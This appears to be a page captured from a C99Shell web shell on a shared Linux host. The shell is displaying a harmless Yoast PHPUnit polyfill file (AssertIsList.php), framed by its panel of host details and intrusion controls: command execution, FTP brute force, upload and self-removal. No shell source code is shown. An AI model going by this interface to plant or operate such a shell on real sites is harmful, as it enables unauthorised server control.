!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/local/wp/vendor/yoast/phpunit-polyfills/src/Polyfills/   drwxr-xr-x
Free 711.53 GB of 879.6 GB (80.89%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AssertIsList.php (2.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Yoast\PHPUnitPolyfills\Polyfills;

use PHPUnit\Framework\Assert;

/**
 * Polyfill the Assert::assertIsList() method.
 *
 * Introduced in PHPUnit 10.0.0.
 *
 * @link https://github.com/sebastianbergmann/phpunit/pull/4818
 *
 * @since 2.0.0
 */
trait AssertIsList {

    /**
     * Asserts that an array is list.
     *
     * @param mixed  $array   The value to test.
     * @param string $message Optional failure message to display.
     *
     * @return void
     */
    final public static function assertIsList( $array, $message = '' ) {
        $msg = self::assertIsListFailureDescription( $array );
        if ( $message !== '' ) {
            $msg = $message . \PHP_EOL . $msg;
        }

        if ( \is_array( $array ) === false ) {
            if ( \method_exists( Assert::class, 'assertIsArray' ) ) {
                static::assertIsArray( $array, $msg );
                return;
            }

            static::assertInternalType( 'array', $array, $msg );
            return;
        }

        if ( $array === [] ) {
            static::assertSame( $array, $array, $msg );
            return;
        }

        if ( \function_exists( 'array_is_list' ) ) {
            // phpcs:ignore PHPCompatibility.FunctionUse.NewFunctions.array_is_listFound -- PHP 8.1+.
            static::assertTrue( \array_is_list( $array ), $msg );
            return;
        }

        $expected = \range( 0, ( \count( $array ) - 1 ) );

        static::assertSame( $expected, \array_keys( $array ), $msg );
    }

    /**
     * Returns the description of the failure.
     *
     * @param mixed $other The value under test.
     *
     * @return string
     */
    private static function assertIsListFailureDescription( $other ) {
        $type = \strtolower( \gettype( $other ) );

        switch ( $type ) {
            case 'double':
                $description = 'a float';
                break;

            case 'resource (closed)':
                $description = 'a closed resource';
                break;

            case 'array':
            case 'integer':
            case 'object':
                $description = 'an ' . $type;
                break;

            case 'boolean':
            case 'closed resource':
            case 'float':
            case 'resource':
            case 'string':
                $description = 'a ' . $type;
                break;

            case 'null':
                $description = 'null';
                break;

            default:
                $description = 'a value of ' . $type;
                break;
        }

        return \sprintf( 'Failed asserting that %s is a list.', $description );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.026 ]--